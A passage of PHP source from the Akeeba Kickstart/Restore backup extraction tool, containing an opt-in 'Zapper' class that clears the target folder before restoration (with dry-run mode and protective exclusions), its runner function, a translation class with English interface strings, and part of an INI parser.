			'root'     => rtrim(AKFactory::get('kickstart.setup.destdir'), '/' . DIRECTORY_SEPARATOR),
			'excluded' => $defaultExcluded,
            'dryRun'   => AKFactory::get('kickstart.setup.dryrun', false)
		), $this->_parametersArray);

		$this->root                 = $parameters['root'];
		$this->excluded             = $parameters['excluded'];
		$this->directory_list[]     = $this->root;
		$this->done_subdir_scanning = true;
		$this->done_file_scanning   = true;
		$this->total_files          = 0;
		$this->done_files           = 0;
		$this->total_folders        = 0;
		$this->done_folders         = 0;
		$this->dryRun               = $parameters['dryRun'];

		if (empty($this->root))
		{
			$error = "The folder to delete was not specified.";

			debugMsg(__CLASS__ . " :: " . $error);
			$this->setError($error);

			return;
		}

		if (!is_dir($this->root))
		{
			$error = sprintf("Folder %s does not exist", $this->root);

			debugMsg(__CLASS__ . " :: " . $error);
			$this->setError($error);

			return;
		}

		$this->setState('prepared');

		debugMsg(__CLASS__ . " :: prepared");
	}

	protected function _run()
	{
		if ($this->getState() == 'postrun')
		{
			debugMsg(__CLASS__ . " :: Already finished");
			$this->setStep("-");
			$this->setSubstep("");

			return true;
		}

		// If I'm done scanning files and subdirectories and there are no more files to pack get the next
		// directory. This block is triggered in the first step in a new root.
		if (empty($this->file_list) && $this->done_subdir_scanning && $this->done_file_scanning)
		{
			$this->progressMarkFolderDone();

			if (!$this->getNextDirectory())
			{
			    $this->setState('postrun');
				return true;
			}
		}

		// If I'm not done scanning for files and the file list is empty then scan for more files
		if (!$this->done_file_scanning && empty($this->file_list))
		{
			$this->scanFiles();
		}
		// If I have files left, delete them
		elseif (!empty($this->file_list))
		{
			$this->delete_files();
		}
		// If I'm not done scanning subdirectories, go ahead and scan some more of them
		elseif (!$this->done_subdir_scanning)
		{
			$this->scanSubdirs();
		}

		// Do I have an error?
		if ($this->getError())
		{
			return false;
		}

		return true;
	}

	/**
	 * Implements the _finalize() abstract method
	 *
	 */
	protected function _finalize()
	{
		// No finalization is required
		$this->setState('finished');
	}

	// ============================================================================================
	// PRIVATE METHODS
	// ============================================================================================

	/**
	 * Gets the next directory to scan from the stack. It also applies folder
	 * filters (directory exclusion, subdirectory exclusion, file exclusion),
	 * updating the operation toggle properties of the class.
	 *
	 * @return   boolean  True if we found a directory, false if the directory
	 *                    stack is empty. It also returns true if the folder is
	 *                    filtered (we are told to skip it)
	 */
	private function getNextDirectory()
	{
		// Reset the file / folder scanning positions
		$this->done_file_scanning   = false;
		$this->done_subdir_scanning = false;
		$this->excluded_folder      = false;

		if (count($this->directory_list) == 0)
		{
			// No directories left to scan
			return false;
		}

		// Get and remove the last entry from the $directory_list array
		$this->current_directory = array_pop($this->directory_list);
		$this->setStep($this->current_directory);
		$this->processed_files_counter = 0;

		// Apply directory exclusion filters
		if ($this->isFiltered($this->current_directory))
		{
			debugMsg("Skipping directory " . $this->current_directory);
			$this->done_subdir_scanning = true;
			$this->done_file_scanning   = true;
			$this->excluded_folder      = true;

			return true;
		}

		return true;
	}

	/**
	 * Try to delete some files from the $file_list
	 *
	 * @return   boolean   True if there were files deleted , false otherwise
	 *                     (empty filelist or fatal error)
	 */
	protected function delete_files()
	{
		// Get a reference to the archiver and the timer classes
		$timer = AKFactory::getTimer();

		// Normal file removal loop; we keep on processing the file list, removing files as we go.
		if (count($this->file_list) == 0)
		{
			// No files left to pack. Return true and let the engine loop
			$this->progressMarkFolderDone();

			return true;
		}

		debugMsg("Deleting files");

		$numberOfFiles = 0;
		$postProc = AKFactory::getPostProc();

		while ((count($this->file_list) > 0))
		{
			$file = @array_shift($this->file_list);

			$numberOfFiles++;

			// Remove the file
            $this->setSubstep($file);
            $this->notify((object) array(
                'type' => 'deleteFile',
                'file' => $file
            ));

            if (!$this->dryRun)
            {
                $postProc->unlink($file);
	            clearFileInOPCache($file);
            }

			// Mark a done file
			$this->progressMarkFileDone();

			if ($this->getError())
			{
				return false;
			}

			// I am running out of time.
			if ($timer->getTimeLeft() <= 0)
			{
				return true;
			}
		}

		// True if we have more files, false if we're done packing
		return (count($this->file_list) > 0);
	}

	protected function progressAddFile()
	{
		$this->total_files++;
	}

	protected function progressMarkFileDone()
	{
		$this->done_files++;
	}

	protected function progressAddFolder()
	{
		$this->total_folders++;
	}

	protected function progressMarkFolderDone()
	{
        debugMsg("Deleting directory " . $this->current_directory);

        $this->setSubstep($this->current_directory);
        $this->notify((object) array(
            'type' => 'deleteFolder',
            'file' => $this->current_directory
        ));

        if (!$this->dryRun)
        {
            /**
             * The scanner goes from shallow to deep directory. However this means that when it scans
             * <root>/foo/bar/baz/bat
             * it will only be able to remove the 'bat' directory, thus leaving foo/bar/baz on the disk. The following
             * method will check if the directory is a subdirectory of the site root and work its way up the tree until
             * it finds the site root. Therefore it will end up deleting the parent folders as well.
             */
            $this->deleteParentFolders($this->current_directory);
        }
	}

	/**
	 * Returns the site root, the translated site root and the translated current directory
	 *
	 * @return array
	 */
	protected function getCleanDirectoryComponents()
	{
		$root            = $this->root;
		$translated_root = $root;
		$dir             = TrimTrailingSlash($this->current_directory);

		if (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN')
		{
			$translated_root = TranslateWinPath($translated_root);
			$dir             = TranslateWinPath($dir);
		}

		if (substr($dir, 0, strlen($translated_root)) == $translated_root)
		{
			$dir = substr($dir, strlen($translated_root));
		}
		elseif (in_array(substr($translated_root, -1), array('/', '\\')))
		{
			$new_translated_root = rtrim($translated_root, '/\\');

			if (substr($dir, 0, strlen($new_translated_root)) == $new_translated_root)
			{
				$dir = substr($dir, strlen($new_translated_root));
			}
		}

		if (substr($dir, 0, 1) == '/')
		{
			$dir = substr($dir, 1);
		}

		return array($root, $translated_root, $dir);
	}

	/**
	 * Steps the subdirectory scanning of the current directory
	 *
	 * @return  boolean  True on success, false on fatal error
	 */
	protected function scanSubdirs()
	{
		$lister = new AKUtilsLister();

		list($root, $translated_root, $dir) = $this->getCleanDirectoryComponents();

		debugMsg("Scanning directories of " . $this->current_directory);

		// Get subdirectories
		$subdirectories = $lister->getFolders($this->current_directory);

		// Error propagation
		$this->propagateFromObject($lister);

		// Error control
		if ($this->getError())
		{
			return false;
		}

		// Start adding the subdirectories
		if (!empty($subdirectories) && is_array($subdirectories))
		{
			// Treat symlinks to directories as simple symlink files
			foreach ($subdirectories as $subdirectory)
			{
				if (is_link($subdirectory))
				{
					// Symlink detected; apply directory filters to it
					if (empty($dir))
					{
						$dirSlash = $dir;
					}
					else
					{
						$dirSlash = $dir . '/';
					}

					$check = $dirSlash . basename($subdirectory);
					debugMsg("Directory symlink detected: $check");

					if (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN')
					{
						$check = TranslateWinPath($check);
					}

					$check = $translated_root . '/' . $check;

					// Check for excluded symlinks
					if ($this->isFiltered($check))
					{
						debugMsg("Skipping directory symlink " . $check);

						continue;
					}

					debugMsg('Adding folder symlink: ' . $check);

					$this->file_list[] = $subdirectory;
					$this->progressAddFile();
				}

				$this->directory_list[] = $subdirectory;
				$this->progressAddFolder();
			}
		}

		$this->done_subdir_scanning = true;

		return true;
	}

	/**
	 * Steps the files scanning of the current directory
	 *
	 * @return  boolean  True on success, false on fatal error
	 */
	protected function scanFiles()
	{
		$lister = new AKUtilsLister();

		list($root, $translated_root, $dir) = $this->getCleanDirectoryComponents();

		debugMsg("Scanning files of " . $this->current_directory);
		$this->processed_files_counter = 0;

		// Get file listing
		$fileList = $lister->getFiles($this->current_directory);

		// Error propagation
		$this->propagateFromObject($lister);

		// Error control
		if ($this->getError())
		{
			return false;
		}

		// Do I have an unreadable directory?
		if (($fileList === false))
		{
			$this->setWarning('Unreadable directory ' . $this->current_directory);

			$this->done_file_scanning = true;

			return true;
		}

		// Directory was readable, process the file list
		if (is_array($fileList) && !empty($fileList))
		{
			// Add required trailing slash to $dir
			if (!empty($dir))
			{
				$dir .= '/';
			}

			// Scan all directory entries
			foreach ($fileList as $fileName)
			{
				$check = $dir . basename($fileName);

				if (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN')
				{
					$check = TranslateWinPath($check);
				}

				$check        = $translated_root . '/' . $check;
				$skipThisFile = $this->isFiltered($check);

				if ($skipThisFile)
				{
					debugMsg("Skipping file $fileName");

					continue;
				}

				$this->file_list[] = $fileName;
				$this->processed_files_counter++;
				$this->progressAddFile();
			}
		}

		$this->done_file_scanning = true;

		return true;
	}

	/**
	 * Is a file or folder filtered (protected from deletion)
	 *
	 * @param   string  $fileOrFolder
	 *
	 * @return  bool
	 */
	private function isFiltered($fileOrFolder)
	{
		foreach ($this->excluded as $pattern)
		{
			if (fnmatch($pattern, $fileOrFolder))
			{
				return true;
			}
		}

		return false;
	}

	/**
	 * Get the default exceptions from deletion
	 *
	 * @return  array
	 */
	private function getDefaultExclusions()
	{
		$ret     = array();
		$destDir = AKFactory::get('kickstart.setup.destdir');

		/**
		 * Exclude Kickstart / restore.php itself. Otherwise it'd crash!
		 */
		$myName = defined('KSSELFNAME') ? KSSELFNAME : basename(__FILE__);
		$ret[] = KSROOTDIR . '/' . $myName;

		/**
		 * Cheat: exclude the directory used in development (see source/buildscripts/kickstart_test.php)
		 *
		 * This directory contains the non-concatenated source code for Kickstart. We need to keep it protected.
		 */
		if (defined('MINIBUILD') && (MINIBUILD != $destDir))
		{
			$ret[] = TranslateWinPath(MINIBUILD);
		}

		/**
		 * Exclude the backup archive directory if it's not the site's root. This prevents mindlessly deleting all your
		 * backups before you restore from a previous backup which might not be the one you actually wanted. I will call
		 * this feature "clumsy-proofing".
		 */
		$backupArchive   = AKFactory::get('kickstart.setup.sourcefile');
		$backupDirectory = AKFactory::get('kickstart.setup.sourcepath');
		$backupDirectory = empty($backupDirectory) ? dirname($backupArchive) : $backupDirectory;

		if ($backupDirectory != $destDir)
		{
			$ret[] = TranslateWinPath($backupDirectory);
		}

		/**
		 * Exclude the backup archive files
		 *
		 * This obviously only makes sense when the backup archives are stored in the extraction target folder which is
		 * the most common use of Kickstart. In this case the backups folder is not excluded above.
		 */
		$plainBackupName = basename($backupArchive, '.jpa');
		$plainBackupName = basename($plainBackupName, '.jps');
		$plainBackupName = basename($plainBackupName, '.zip');
		$ret[]           = TranslateWinPath($backupDirectory . '/' . $plainBackupName) . '.*';

		/**
		 * Exclude Kickstart language files. Only applies in Kickstart mode.
		 */
		if (defined('KICKSTART'))
		{
			$langDir        = defined('KSLANGDIR') ? KSLANGDIR : KSROOTDIR;
            $iniFilePattern = basename(KSSELFNAME, '.php') . '.*.ini';

			if ($langDir != KSROOTDIR)
            {
                $ret[] = KSLANGDIR;
            }

            $ret[]   = $langDir . '/' . $iniFilePattern;
            $ret[]   = KSROOTDIR . '/' . $iniFilePattern;
		}

		/**
		 * Exclude Kickstart resources (cacert.pem). Only applies in Kickstart mode.
		 */
		if (defined('KICKSTART'))
		{
			$ret[] = TranslateWinPath(KSROOTDIR . '/cacert.pem');
		}

		// Exclude the Kickstart temporary directory, if one is used by the post-processing engine
		$postProc = AKFactory::getPostProc();
		$tempDir  = $postProc->getTempDir();

		if (!empty($tempDir) && (realpath($tempDir) != realpath($destDir)))
		{
			$ret[] = TranslateWinPath($tempDir);
		}

		/**
		 * Exclude the configured Skipped Files ('kickstart.setup.skipfiles'). Also exclude the various restoration.php
		 * files if we are in restore.php mode and the files are present. These are required for the integrated
		 * restoration to actually work :)
		 */
		$skippedFiles = AKFactory::get('kickstart.setup.skipfiles', array(
			basename(__FILE__), 'kickstart.php', 'abiautomation.ini', 'htaccess.bak', 'php.ini.bak',
			'cacert.pem',
		));

		if (!defined('KICKSTART'))
		{
			// In restore.php mode we have to exclude the various restoration.php files
			$skippedFiles = array_merge(array(
				// Akeeba Backup for Joomla!
				'administrator/components/com_akeeba/restoration.php',
				'administrator/components/com_akeebabackup/restoration.php',
				// Joomla! Update
				'administrator/components/com_joomlaupdate/restoration.php',
				// Akeeba Backup for WordPress
				'wp-content/plugins/akeebabackupwp/app/restoration.php',
				'wp-content/plugins/akeebabackupcorewp/app/restoration.php',
				'wp-content/plugins/akeebabackup/app/restoration.php',
				'wp-content/plugins/akeebabackupwpcore/app/restoration.php',
				// Akeeba Solo
				'app/restoration.php',
			), $skippedFiles);
		}

		foreach ($skippedFiles as $file)
		{
			$checkFile = $destDir . '/' . $file;

			if (file_exists($checkFile))
			{
				$ret[] = TranslateWinPath($checkFile);
			}
		}

		/**
		 * Exclude .htaccess if the stealth feature is enabled. Otherwise we'd unset the stealth mode.
		 * Exclude it even if we have any AddHandler directive, otherwise the site will be borked if the user
		 * chooses not to rename the .htaccess file
		 */
		if (AKFactory::get('kickstart.stealth.enable') || AKFactory::get('kickstart.setup.phphandlers', array()))
		{
			$ret[] = $destDir . '/.htaccess';
		}

		// Remove any duplicate lines
        $ret = array_unique($ret);

		return $ret;
	}

    /**
     * Recursively delete an empty folder and any of its empty parent folders.
     *
     * @param   string  $folder  The folder to deletes
     */
	private function deleteParentFolders($folder)
    {
        // Don't try to delete an empty folder or the filesystem root
        if (empty($folder) || ($folder == '/'))
        {
            return;
        }

        $folder = TranslateWinPath($folder);
        $root   = TranslateWinPath($this->root);

        // Don't try to delete the site's root
        if ($folder === $root)
        {
            return;
        }

        // Delete the leaf folder
        $postProc = AKFactory::getPostProc();
        $postProc->rmdir($folder);

        // If the leaf folder is not under the site's root don't delete its parents
        if (strpos($folder, $root) !== 0)
        {
            return;
        }

        // Get and recursively delete the parent folder
        $this->deleteParentFolders(dirname($folder));
    }
}

/**
 * Runs the Zapper and returns a status table. The Zapper only runs if the feature is enabled (kickstart.setup.zapbefore
 * is 1) and there are more Zapper steps to run (its state is not postrun). If any of these conditions is not met we
 * return boolean false.
 *
 * @param   AKAbstractPartObserver  $observer  Optional observer to attack to the Zapper instance
 *
 * @return  bool|array  Boolean false or a status array
 */
function runZapper(AKAbstractPartObserver $observer = null)
{
	// This method should only run in restore.php mode or when we have Kickstart Professional.
	$isKickstart = defined('KICKSTART');
	$isPro       = defined('KICKSTARTPRO') ? KICKSTARTPRO : false;
	$isDebug     = defined('KSDEBUG') ? KSDEBUG : false;

	if ($isKickstart && (!$isPro && !$isDebug))
	{
		return false;
	}

	// Is the feature enabled?
    $enabled = AKFactory::get('kickstart.setup.zapbefore', 0);

    if (!$enabled)
    {
        return false;
    }

    // Do I still have work to do?
    $zapper = AKFactory::getZapper();

    if ($zapper->getState() == 'finished')
    {
        return false;
    }

    // Attach the observer
    if (is_object($observer))
    {
        $zapper->attach($observer);
    }

    // Run a step, create and return a status array
	$timer = AKFactory::getTimer();

    while ($timer->getTimeLeft() > 0)
    {
	    $ret = $zapper->tick();

	    if ($ret['Error'] != '')
	    {
	    	break;
	    }
    }

    $retArray = array(
        'status'  => true,
        'message' => null,
        'done' => false,
    );

    if ($ret['Error'] != '')
    {
        $retArray['status']  = false;
        $retArray['done']    = true;
        $retArray['message'] = $ret['Error'];
    }
    else
    {
        $retArray['files']    = 0;
        $retArray['bytesIn']  = 0;
        $retArray['bytesOut'] = 0;
        $retArray['factory']  = AKFactory::serialize();
        $retArray['lastfile'] = 'Deleting: ' . $zapper->getSubstep();
    }

	$timer->enforce_min_exec_time();

    return $retArray;
}

/**
 * Akeeba Restore
 * An AJAX-powered archive extraction library for JPA, JPS and ZIP archives
 *
 * @package   restore
 * @copyright Copyright (c)2008-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * A simple INI-based i18n engine
 */
class AKText extends AKAbstractObject
{
	/**
	 * The default (en_GB) translation used when no other translation is available
	 *
	 * @var array
	 */
	private $default_translation = [
		'AUTOMODEON'                      => 'Auto-mode enabled',
		'ERR_NOT_A_JPA_FILE'              => 'The file is not a JPA archive',
		'ERR_CORRUPT_ARCHIVE'             => 'The archive file is corrupt, truncated or archive parts are missing',
		'ERR_INVALID_ARCHIVE_LONG'        => 'The archive file appears to be corrupt, or archive parts are missing. If your backups consists of multiple files, please make sure that you have downloaded all the archive part files (files with the same name and extensions .%s, .%s01, .%2$s02…). Please make sure to download <em>and</em> upload files using SFTP, or FTP in Binary transfer mode and do check that their file size matches the sizes reported in the Manage Backups page of Akeeba Backup / Akeeba Solo.',
		'ERR_INVALID_LOGIN'               => 'Invalid login',
		'COULDNT_CREATE_DIR'              => 'Could not create %s folder',
		'COULDNT_WRITE_FILE'              => 'Could not open %s for writing.',
		'WRONG_FTP_HOST'                  => 'Wrong FTP host or port',
		'WRONG_FTP_USER'                  => 'Wrong FTP username or password',
		'WRONG_FTP_PATH1'                 => 'Wrong FTP initial directory - the directory doesn\'t exist',
		'FTP_CANT_CREATE_DIR'             => 'Could not create directory %s',
		'FTP_TEMPDIR_NOT_WRITABLE'        => 'Could not find or create a writable temporary directory',
		'SFTP_TEMPDIR_NOT_WRITABLE'       => 'Could not find or create a writable temporary directory',
		'FTP_COULDNT_UPLOAD'              => 'Could not upload %s',
		'THINGS_HEADER'                   => 'Things you should know about Akeeba Kickstart',
		'THINGS_01'                       => 'Kickstart is not an installer. It is an archive extraction tool. The actual installer was put inside the archive file at backup time.',
		'THINGS_03'                       => 'Kickstart is bound by your server\'s configuration. As such, it may not work at all.',
		'THINGS_04'                       => 'You should download and upload your archive files using FTP in Binary transfer mode. Any other method could lead to a corrupt backup archive and restoration failure.',
		'THINGS_05'                       => 'Post-restoration site load errors are usually caused by .htaccess or php.ini directives. You should understand that blank pages, 404 and 500 errors can usually be worked around by editing the aforementioned files. It is not our job to mess with your configuration files, because this could be dangerous for your site.',
		'THINGS_06'                       => 'Kickstart overwrites files without a warning. If you are not sure that you are OK with that do not continue.',
		'THINGS_07'                       => 'Trying to restore to the temporary URL of a cPanel host (e.g. http://1.2.3.4/~username) will lead to restoration failure and your site will appear to be not working. This is normal and it\'s just how your server and CMS software work.',
		'THINGS_08'                       => 'You are supposed to read the documentation before using this software. Most issues can be avoided, or easily worked around, by understanding how this software works.',
		'THINGS_09'                       => 'This text does not imply that there is a problem detected. It is standard text displayed every time you launch Kickstart.',
		'CLOSE_LIGHTBOX'                  => 'Click here or press ESC to close this message',
		'SELECT_ARCHIVE'                  => 'Select a backup archive',
		'ARCHIVE_FILE'                    => 'Archive file:',
		'SELECT_EXTRACTION'               => 'Select an extraction method',
		'WRITE_TO_FILES'                  => 'Write to files:',
		'WRITE_HYBRID'                    => 'Hybrid (use FTP only if needed)',
		'WRITE_DIRECTLY'                  => 'Directly',
		'WRITE_FTP'                       => 'Use FTP for all files',
		'WRITE_SFTP'                      => 'Use SFTP for all files',
		'FTP_HOST'                        => '(S)FTP host name:',
		'FTP_PORT'                        => '(S)FTP port:',
		'FTP_FTPS'                        => 'Use FTP over SSL (FTPS)',
		'FTP_PASSIVE'                     => 'Use FTP Passive Mode',
		'FTP_USER'                        => '(S)FTP user name:',
		'FTP_PASS'                        => '(S)FTP password:',
		'FTP_DIR'                         => '(S)FTP directory:',
		'FTP_TEMPDIR'                     => 'Temporary directory:',
		'FTP_CONNECTION_OK'               => 'FTP Connection Established',
		'SFTP_CONNECTION_OK'              => 'SFTP Connection Established',
		'FTP_CONNECTION_FAILURE'          => 'The FTP Connection Failed',
		'SFTP_CONNECTION_FAILURE'         => 'The SFTP Connection Failed',
		'FTP_TEMPDIR_WRITABLE'            => 'The temporary directory is writable.',
		'FTP_TEMPDIR_UNWRITABLE'          => 'The temporary directory is not writable. Please check the permissions.',
		'FTP_BROWSE'                      => 'Browse',
		'FTPBROWSER_LBL_INSTRUCTIONS'     => 'Click on a directory to navigate into it. Click on OK to select that directory, Cancel to abort the procedure.',
		'FTPBROWSER_ERROR_HOSTNAME'       => 'Invalid FTP host or port',
		'FTPBROWSER_ERROR_USERPASS'       => 'Invalid FTP username or password',
		'FTPBROWSER_ERROR_NOACCESS'       => 'Directory doesn\'t exist or you don\'t have enough permissions to access it',
		'FTPBROWSER_ERROR_UNSUPPORTED'    => 'Sorry, your FTP server doesn\'t support our FTP directory browser.',
		'FTPBROWSER_LBL_GOPARENT'         => '&lt;up one level&gt;',
		'FTPBROWSER_LBL_ERROR'            => 'An error occurred',
		'SFTP_NO_SSH2'                    => 'Your web server does not have the SSH2 PHP module, therefore can not connect to SFTP servers.',
		'SFTP_NO_FTP_SUPPORT'             => 'Your SSH server does not allow SFTP connections',
		'SFTP_WRONG_USER'                 => 'Wrong SFTP username or password',
		'SFTP_WRONG_STARTING_DIR'         => 'You must supply a valid absolute path',
		'SFTPBROWSER_ERROR_NOACCESS'      => 'Directory doesn\'t exist or you don\'t have enough permissions to access it',
		'SFTP_COULDNT_UPLOAD'             => 'Could not upload %s',
		'SFTP_CANT_CREATE_DIR'            => 'Could not create directory %s',
		'UI-ROOT'                         => '&lt;root&gt;',
		'CONFIG_UI_FTPBROWSER_TITLE'      => 'FTP Directory Browser',
		'BTN_CHECK'                       => 'Check',
		'BTN_RESET'                       => 'Reset',
		'BTN_TESTFTPCON'                  => 'Test FTP connection',
		'BTN_TESTSFTPCON'                 => 'Test SFTP connection',
		'BTN_GOTOSTART'                   => 'Start over',
		'BTN_RETRY'                       => 'Retry',
		'FINE_TUNE'                       => 'Fine tune',
		'MIN_EXEC_TIME'                   => 'Minimum execution time:',
		'MAX_EXEC_TIME'                   => 'Maximum execution time:',
		'SECONDS_PER_STEP'                => 'seconds per step',
		'EXTRACT_FILES'                   => 'Extract files',
		'BTN_START'                       => 'Start',
		'EXTRACTING'                      => 'Extracting',
		'DO_NOT_CLOSE_EXTRACT'            => 'Do not close this window while the extraction is in progress',
		'RESTACLEANUP'                    => 'Restoration and Clean Up',
		'BTN_RUNINSTALLER'                => 'Run the Installer',
		'BTN_CLEANUP'                     => 'Clean Up',
		'BTN_SITEFE'                      => 'Visit your site\'s frontend',
		'BTN_SITEBE'                      => 'Visit your site\'s backend',
		'WARNINGS'                        => 'Extraction Warnings',
		'ERROR_OCCURED'                   => 'An error occurred',
		'STEALTH_MODE'                    => 'Stealth mode',
		'STEALTH_URL'                     => 'HTML file to show to web visitors',
		'ERR_NOT_A_JPS_FILE'              => 'The file is not a JPA archive',
		'ERR_INVALID_JPS_PASSWORD'        => 'The password you gave is wrong or the archive is corrupt',
		'JPS_PASSWORD'                    => 'Archive Password (for JPS files)',
		'INVALID_FILE_HEADER_OFFSET_ZERO' => 'Cannot open the file %s for reading. This is part #%d of your backup archive which consists of multiple files (files with the same name and extensions .%s, .%s01, .%4$s02…). Please make sure that you have all of these files in the same folder as Kickstart.',
		'INVALID_FILE_HEADER'             => 'Invalid header in archive file, part %s, offset %s. Please make sure to download <em>and</em> upload backup archive files using SFTP, or FTP in Binary transfer mode and do check that their file size matches the sizes reported in the Manage Backups page of Akeeba Backup / Akeeba Solo.',
		'INVALID_FILE_HEADER_MULTIPART'   => 'Invalid header in archive file, part %s, offset %s. Your backup archive consists of multiple files (files with the same name and extensions .%s, .%s01, .%4$s02…). Either some files are missing, or they are corrupt or truncated. You will need all of these files to be present in the same directory. Please make sure to download <em>and</em> upload backup archive files using SFTP, or FTP in Binary transfer mode and do check that their file size matches the sizes reported in the Manage Backups page of Akeeba Backup / Akeeba Solo.',
		'UPDATE_HEADER'                   => 'An updated version of Akeeba Kickstart (<span id="update-version">unknown</span>) is available!',
		'UPDATE_NOTICE'                   => 'You are advised to always use the latest version of Akeeba Kickstart available. Older versions may be subject to bugs and will not be supported.',
		'UPDATE_DLNOW'                    => 'Download now',
		'UPDATE_MOREINFO'                 => 'More information',
		'NEEDSOMEHELPKS'                  => 'Want some help to use this tool? Read this first:',
		'QUICKSTART'                      => 'Using Kickstart',
		'CANTGETITTOWORK'                 => 'Can\'t get it to work? Click me!',
		'NOARCHIVESCLICKHERE'             => 'No archives detected. Click here for troubleshooting instructions.',
		'POSTRESTORATIONTROUBLESHOOTING'  => 'Something not working after the restoration? Click here for troubleshooting instructions.',
		'IGNORE_MOST_ERRORS'              => 'Ignore most errors',
		'TIME_SETTINGS_HELP'              => 'Increase the minimum to 3 if you get AJAX errors. Increase the maximum to 10 for faster extraction, decrease back to 5 if you get AJAX errors. Try minimum 5, maximum 1 (not a typo!) if you keep getting AJAX errors.',
		'STEALTH_MODE_HELP'               => 'When enabled, only visitors from your IP address will be able to see the site until the restoration is complete. Everyone else will be redirected to and only see the URL above. Your server must see the real IP of the visitor (this is controlled by your host, not you or us).',
		'RENAME_FILES_HELP'               => 'Renames .htaccess, web.config, php.ini and .user.ini contained in the archive while extracting. Files are renamed with a .bak extension. The file names are restored when you click on Clean Up.',
		'RESTORE_PERMISSIONS_HELP'        => 'Applies the file permissions (but NOT file ownership) which was stored at backup time. Only works with JPA and JPS archives. Does not work on Windows (PHP does not offer such a feature).',
		'EXTRACT_LIST'                    => 'Files to extract',
		'EXTRACT_LIST_HELP'               => 'Enter a file path such as <code>images/cat.png</code> or shell pattern such as <code>images/*.png</code> on each line. Only files matching this list will be written to disk. Leave empty to extract everything (default).',
		'AKS3_IMPORT'                     => 'Import from Amazon S3',
		'AKS3_TITLE_STEP1'                => 'Connect to Amazon S3',
		'AKS3_ACCESS'                     => 'Access Key',
		'AKS3_SECRET'                     => 'Secret Key',
		'AKS3_CONNECT'                    => 'Connect to Amazon S3',
		'AKS3_CANCEL'                     => 'Cancel import',
		'AKS3_TITLE_STEP2'                => 'Select your Amazon S3 bucket',
		'AKS3_BUCKET'                     => 'Bucket',
		'AKS3_LISTCONTENTS'               => 'List contents',
		'AKS3_TITLE_STEP3'                => 'Select archive to import',
		'AKS3_FOLDERS'                    => 'Folders',
		'AKS3_FILES'                      => 'Archive Files',
		'AKS3_TITLE_STEP4'                => 'Importing...',
		'AKS3_DO_NOT_CLOSE'               => 'Please do not close this window while your backup archives are being imported',
		'AKS3_TITLE_STEP5'                => 'Import is complete',
		'AKS3_BTN_RELOAD'                 => 'Reload Kickstart',
		'WRONG_FTP_PATH2'                 => 'Wrong FTP initial directory - the directory doesn\'t correspond to your site\'s web root',
		'ARCHIVE_DIRECTORY'               => 'Archive directory:',
		'RELOAD_ARCHIVES'                 => 'Reload',
		'CONFIG_UI_SFTPBROWSER_TITLE'     => 'SFTP Directory Browser',
		'ERR_COULD_NOT_OPEN_ARCHIVE_PART' => 'Could not open archive part file %s for reading. Check that the file exists, is readable by the web server and is not in a directory made out of reach by chroot, open_basedir restrictions or any other restriction put in place by your host.',
		'RENAME_FILES'                    => 'Rename server configuration files before extraction',
		'BTN_SHOW_FINE_TUNE'              => 'Show advanced options (for experts)',
		'RESTORE_PERMISSIONS'             => 'Restore file permissions',
		'ZAPBEFORE'                       => 'Delete everything before extraction',
		'ZAPBEFORE_HELP'                  => 'Tries to delete all existing files and folders under the directory where Kickstart is stored before extracting the backup archive. It DOES NOT take into account which files and folders exist in the backup archive. Files and folders deleted by this feature CAN NOT be recovered. <strong>WARNING! THIS MAY DELETE FILES AND FOLDERS WHICH DO NOT BELONG TO YOUR SITE. USE WITH EXTREME CAUTION. BY ENABLING THIS FEATURE YOU ASSUME ALL RESPONSIBILITY AND LIABILITY.</strong>',
	];

	/** END OF ARRAY — DO NOT EDIT OR REMOVE **/

	/**
	 * The array holding the translation keys
	 *
	 * @var array
	 */
	private $strings;

	/**
	 * The currently detected language (ISO code)
	 *
	 * @var string
	 */
	private $language;

	/*
	 * Initializes the translation engine
	 * @return AKText
	 */
	public function __construct()
	{
		// Start with the default translation
		$this->strings = $this->default_translation;
		// Try loading the translation file in English, if it exists
		$this->loadTranslation('en-GB');
		// Try loading the translation file in the browser's preferred language, if it exists
		$this->getBrowserLanguage();
		if (!is_null($this->language))
		{
			$this->loadTranslation();
		}
	}

	/**
	 * A PHP based INI file parser.
	 *
	 * Thanks to asohn ~at~ aircanopy ~dot~ net for posting this handy function on
	 * the parse_ini_file page on http://gr.php.net/parse_ini_file
	 *
	 * @param   string  $file              Filename to process
	 * @param   bool    $process_sections  True to also process INI sections
	 * @param   bool    $rawdata           If true, the $file contains raw INI data, not a filename
	 *
	 * @return array An associative array of sections, keys and values
	 * @access private
	 */
	public static function parse_ini_file($file, $process_sections = false, $rawdata = false)
	{
		$process_sections = ($process_sections !== true) ? false : true;

		if (!$rawdata)
		{
			$ini = file($file);
		}
		else
		{
			$file = str_replace("\r", "", $file);
			$ini  = explode("\n", $file);
		}

		if (!is_array($ini))
		{
			return [];
		}

		if (count($ini) == 0)
		{
			return [];
		}

		$sections = [];
		$values   = [];
		$result   = [];
		$globals  = [];
		$i        = 0;
		foreach ($ini as $line)
		{
			$line = trim($line);
			$line = str_replace("\t", " ", $line);

			// Comments
			if (!preg_match('/^[a-zA-Z0-9[]/', $line))
			{
				continue;
			}

			// Sections
			if ($line[0] == '[')
			{
				$tmp        = explode(']', $line);
				$sections[] = trim(substr($tmp[0], 1));
				$i++;
				continue;
			}

			// Key-value pair
			$lineParts = explode('=', $line, 2);
			if (count($lineParts) != 2)
			{
				continue;
			}
			$key   = trim($lineParts[0]);
			$value = trim($lineParts[1]);
			unset($lineParts);

			if (strstr($value, ";"))
			{
				$tmp = explode(';', $value);
				if (count($tmp) == 2)
				{
					if ((($value[0] != '"') && ($value[0] != "'")) ||
						preg_match('/^".*"\s*;/', $value) || preg_match('/^".*;[^"]*$/', $value) ||
						preg_match("/^'.*'\s*;/", $value) || preg_match("/^'.*;[^']*$/", $value)
					)
					{
						$value = $tmp[0];
					}
				}
				else
				{
					if ($value[0] == '"')
					{
						$value = preg_replace('/^"(.*)".*/', '$1', $value);
					}
					elseif ($value[0] == "'")
					{
						$value = preg_replace("/^'(.*)'.*/", '$1', $value);
					}
					else
					{
						$value = $tmp[0];
					}
				}
			}
			$value = trim($value);
			$value = trim($value, "'\"");

			if ($i == 0)
			{
				if (substr($line, -1, 2) == '[]')
				{
					$globals[$key][] = $value;
				}
				else
				{
					$globals[$key] = $value;
				}
			}
			else
			{
				if (substr($line, -1, 2) == '[]')
				{
